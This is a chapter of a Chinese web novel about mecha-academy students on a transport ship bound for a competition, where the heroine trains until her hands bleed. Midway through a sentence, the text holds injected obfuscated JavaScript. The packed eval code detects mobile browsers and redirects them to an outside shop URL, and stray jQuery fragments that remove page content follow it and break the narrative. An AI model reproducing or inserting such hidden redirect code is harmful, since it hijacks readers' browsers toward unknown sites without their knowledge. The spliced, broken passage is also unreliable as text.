赛委会特批的运输舰停在接驳口,舰体虽然算不上崭新,但至少这次可以把荒星联合一整个一队二队的人都安排妥当。
姜荼站在舷梯下仰头打量了半天,发自肺腑地感慨:“总算不用换乘了。”
徐子涵拎着四个人的装备箱从她身边经过,头也不回:“何止,这已经是头等舱待遇了。”
“头等舱?”姜荼眼睛一亮,拽着蛇蛇就往舷梯上冲,“那头等舱是不是有免费零食?蛇蛇快走,去晚了就没了!”
蛇蛇尾巴卷着她的衣领,整条蛇兴奋得扭成了麻花。
舱门关闭后,运输舰平稳升空,窗外的帝星逐渐缩小成一颗泛着银蓝色光晕的球体。
秦戈站在舱门口,手里拿着光脑核对名单,转头问林啸谷:“你们的散热调试怎么样了?尤其是止戈的,裂谷正午地表温度能到七十度以上,止戈Ⅰ的原始设计标准是六十度极限,超出的部分必须靠改装弥补。”
“散热管全部替换了。”林啸谷从背包里抽出数据板,“联邦第一军校那批赔偿物资里有星舰级耐高温涂层,够两台机甲的用量,重点改了止戈Ⅰ的,散热效率提了大约三成,但性能极限摆在那里,她的最佳作时间不能超过五分钟。”
“另外我算了下我们三人的机甲耐热材料够撑到中途的补给点。”
“五分钟,那十分考验你们之间的配合了。”秦戈沉吟道。
止戈Ⅰ的底子是A级,能改到这个程度已经相当不错,但这个散热极限意味着姬斩月每场战斗都要精准卡秒,一旦被拖住就是绝境。
“姬斩月人呢?从帝星出发到现在就没见她人影。”
“应该在虚拟舱。”林啸谷说,“她昨晚一直在模拟裂谷的高温环境做对抗训练,按时间算现在应该还在里面。”
秦戈眉头松动,语气里是难得的欣慰:“熔岩峡谷地形复杂,星兽也比雨林里那些凶残得多,她肯下功夫就好。走,去看看她练得怎么样。”
两人穿过走廊来到虚拟训练舱门口,舱门紧闭,外面的状态指示灯显示“训练中”。
秦戈伸手按了按门边的显示屏,想调出舱内的实时训练数据,结果屏幕上跳出来的是一行冷冰冰的系统提示:该训练舱在过去六小时内无使用记录。
秦戈:“……”
林啸谷站在他旁边,推了推眼镜,明智地没有发表任何评论。
“这就是你说的在训练?”秦戈磨了磨后槽牙,“她人呢?”
两人在星舰里找了一圈,休息室没有,餐厅没有,观景舷窗边也没有。
姜荼抱着蛇蛇窝在休息室看战术复盘,被问及姬斩月的行踪时茫然地抬起头:“她不是说去训练了吗?”
最后还是在实训室找到了她。
房间中央的力量训练区里立着三块标准训练用的高硬度合金板,每块都有五个人体大臂那么粗,是给重型机甲手做极限力量测试用的。
通常情况下,S级体质的新生能在上面砸出个凹坑就算及格。
现在,三块合金板中的两块已经彻底变了形。一块中央凹陷出一个深达数寸的拳印,边缘的金属向外翻卷,另一块更惨,直接从中间断成了两截。
而姬斩月正站在第三块合金板前面。
姬斩月背对着门口,双拳缠着训练用的绷带,绷带上沾着星星点点的血迹。她身上的作训服被汗水浸透了大半,贴在她身上随着出拳的动作微微起伏,身上没有戴任何防护设备,只有缠在手上那几圈绷带,一拳接一拳地砸在合金板上。
沉闷的撞击声在空旷的实训室里回荡,震得墙边工具架都在轻轻晃动。
姬斩月收拳,准备再出一拳。
“够了。”秦戈的声音从门口传来。
她的拳头停在半空,转过身来,额前的碎发被汗水打湿贴在额头上,眼睛亮亮的,完全没有连续高强度训练后的疲惫。
看到门口的两个人,她眨了眨眼,用缠着绷带的手背蹭了一下脸上的灰,结果把脸蹭得更花了。
“秦教官,林学长,你们怎么来了?”
“这话应该我问你。”秦戈无语地盯着地上报废的两块合金板,“你不在虚拟舱里模拟环境对战,在这里砸板子?”
姬斩月语气里带着一丝不太好意思的心虚:“我的精神力不太稳定,高强度的感知模拟做多了会头痛。我想赛前稳定些,与其在虚拟舱里练到一半被迫停下来,不如趁这个时间巩固一下力量。万一赛场上精神力突然波动,至少还能靠拳头撑一阵。”
姬斩月说这话的时候语调稀松平常,但秦戈注意到她脚边散落着四五条已经扯断的训练绷带,上面的血迹还没有完全干透。
秦戈难得有些于心不忍,他见过太多以“天赋”自居的学生,那些人在训练馆里待不到两小时就开始对着镜子拍训练照发星网。
而眼前这个人,有着惊人天赋,却也坦然承认自己当下的不足,并且用最笨、最原始的方式不断练习,只为了“以备不时之需”。
“精神力不稳定就少做高强度对抗,这是对的。但力量训练也不能这么练,你是重型突破手,手是你的武器,不是消耗品。”
他抬手在光脑上操作了几下,把一份新的训练计划发到了姬斩月的账号上,“这是校医根据你最新体质数据修订的力量训练方案,每天按这个来,劳逸结合,别还没到南斗星就把自己练废了。”
姬斩月低头看了一眼光脑上新收到的训练计划,点了点头:“谢谢秦教官。”
“练完了去医疗舱做个手部检查,费用算学校的。”
姬斩月还没来得及说第二句谢谢,秦戈已经大步走出了实训室。
“他干嘛走这么快?”姬斩月满头问号。
“你要允许一个刚硬老父亲难得的真情流露。”林啸谷适时展露出自己的冷幽默,随即正色道:“正好跟你说一声,虽然止戈的散热系统已经改完了,但底子摆在那里,战斗时间五分钟是极限,你自己心里要有数。”
姬斩月点点头,拆开手上的绷带,把那条渗血的布条团成一团丢进垃圾桶。她拿起水壶灌了几口,说道:“对了,学长,我弄到裂空兽的骨骼了。”
林啸谷手里的数据板差点滑下去,他猛地抬起头盯着她,炯炯有神:“你说什么?”
“裂空兽,完整度很高的骨骼。”姬斩月把水壶搁在长椅上,“地下黑赛的特别加码奖励。你不是一直愁我的新机甲怎么减重吗?轻型机甲的骨架材料不适合重型机甲,裂空兽的骨骼正好。”
“你什么时候……”
“封闭训练的时候,姜荼陪我去的,我用了个化名。”
林啸谷盯着她,表情极其复杂,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641177|202413||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
他一直知道姬斩月的路子野,但没想到野到敢在封闭训练期间溜出去打地下黑赛,还赢了一头稀有星兽的完整骨骼回来。
想到她还在养伤,又想到自己那张被红笔改得密密麻麻的机甲设计图,一时间不知道该先教训她,还是先感谢她。
他努力平复着心情,推了推眼镜,悄咪咪询问道:“那个黑赛,奖励一直都这么丰厚吗?”
“对啊。之前我还赢过能源核心和晶油,这边的黑赛场地好像是连锁的,规模比荒星大多了,奖品池也更丰富。”
林啸谷镜片反光挡住了他的表情,但嘴角上扬的弧度出卖了他内心的真实想法,“等到了南斗星,你再去看的时候带上我。”
姬斩月眨了眨眼:“学长你也想参赛?”
“我不参赛。”林啸谷正色道,“但地下黑赛的机甲改装都是野路子,在极端成本限制下做的应急改造,很多思路是正规教材里见不到的,对我的‘拼好甲’研究很有参考价值。”
他话说得一本正经,但姬斩月分明看到他眼底闪烁着和姜荼逛商场时如出一辙的光芒。
在前往南斗星的航线上,其他三校的备战也在各自进行。
联邦第一军校的星舰会议室里,维森·凯兰站在全息投影前,激光笔的光点停在峡谷入口附近的隘口上。
他把上半程的散热管理和下半程的抢分节点一一标注清楚,然后又点了另一个窗口,上面是第一站各校选手的赛后数据汇总,姬斩月的名字旁边被标了一个不起眼的星号。
“这个数据异常,待观察。”维森说,“但目前不是我们的优先级。”
薇拉点头,将页面翻了过去,眼下更紧迫的问题是马库斯留下的空缺,以及与天璇的积分差距。
奥米茄理工的分析室里,凌零蹲在椅子上,面前的数据屏幕上密密麻麻全是波形图,他正在将姬斩月第一站的战斗数据导入新建的模型。
白子夜从旁边走过,扫了一眼屏幕:“还在测?”
“样本量太小,”凌零头也不抬,“目前只能做初步拟合,远不到能下结论的程度。”
白子夜点点头,没有追问。第一站的失利更多是内部指挥失误,第二站的首要任务是确保战术执行力,而不是把某个对手当成假想敌。
天璇军事学院的备战室里,林舟渡把最后两颗糖抛进嘴里,含含糊糊地感叹:“听说荒星联合这次终于不用挤运输舰了,赛委会特批的。”
凯丽站在备战室的另一侧,面前摊着一份机甲改装方案,但她的注意力显然不在方案上。
她的手指在光屏上轻轻划过,将姬斩月第一站的公开战斗数据调出来,从头到尾看了一遍,思索着届时对上止戈Ⅰ,她作为机甲师要如何破局。
无论如何,她会用实力证明自己。
……
走廊里,姜荼和徐子涵正从休息室出来,迎面撞上从实训室方向走过来的秦戈。
秦戈扫了两人一眼,语气随意:“姬斩月手上有伤,你们盯着她点,别让她再拿训练器材撒气。”
姜荼肩膀上的蛇蛇立刻竖起尾巴,摆出一个“收到”的姿势。徐子涵点点头,等秦戈走远了才转过头看姜荼,压低声音:“离南斗星越近,她好像越暴躁。”
“肯定又练疯了。”姜荼叹了口气,“走吧,去看看。”